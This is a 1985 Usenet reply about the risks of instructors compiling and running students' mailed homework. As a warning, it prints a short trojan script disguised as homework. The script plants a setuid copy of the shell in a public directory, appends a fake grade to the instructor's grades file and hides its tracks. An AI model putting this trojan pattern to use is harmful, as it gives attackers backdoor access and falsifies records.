Relay-Version: version B 2.10 5/3/83; site utzoo.UUCP Posting-Version: version B 2.10.2 9/18/84 exptools; site ho95e.UUCP Path: utzoo!linus!philabs!cmcl2!harvard!seismo!lll-crg!dual!qantel!ihnp4!houxm!ho95e!wcs From: wcs@ho95e.UUCP (Bill.Stewart.4K435.x0705) Newsgroups: net.unix,net.cse Subject: Re: students editing output Message-ID: <188@ho95e.UUCP> Date: Tue, 24-Sep-85 13:17:55 EDT Article-I.D.: ho95e.188 Posted: Tue Sep 24 13:17:55 1985 Date-Received: Tue, 1-Oct-85 08:06:54 EDT References: <433@uvm-cs.UUCP> <1500@brl-tgr.ARPA> <1802@gondor.UUCP> Organization: AT&T Bell Labs, Holmdel NJ Lines: 18 Xref: linus net.unix:5132 net.cse:428 > > Why not just have the students mail their final version for grading > > to the instructor, who can easily put them in files, compile and test > > them, and print them if necessary. To save time, set an alarm to > > time out any submission that takes too long to compile and run. > Better do some basic sanity checking first, or some wise guy will horse you. Imagine a program called homework4.c that does: #!/bin/sh for illustration purposes cp /bin/sh /usr/spool/uucppublic/.sh chmod ug+s /usr/spool/uucppublic/.sh echo "user, j.r. homework4 98" >>$HOME/grades mv .tmp cp /usr/spool/uucppublic/jruser/homework4* . (sleep 10 ; rm .tmp)& exec homework4 -- ## Bill Stewart, AT&T Bell Labs, Holmdel NJ 1-201-949-0705 ihnp4!ho95c!wcs Brought to you by Super Global Mega Corp .com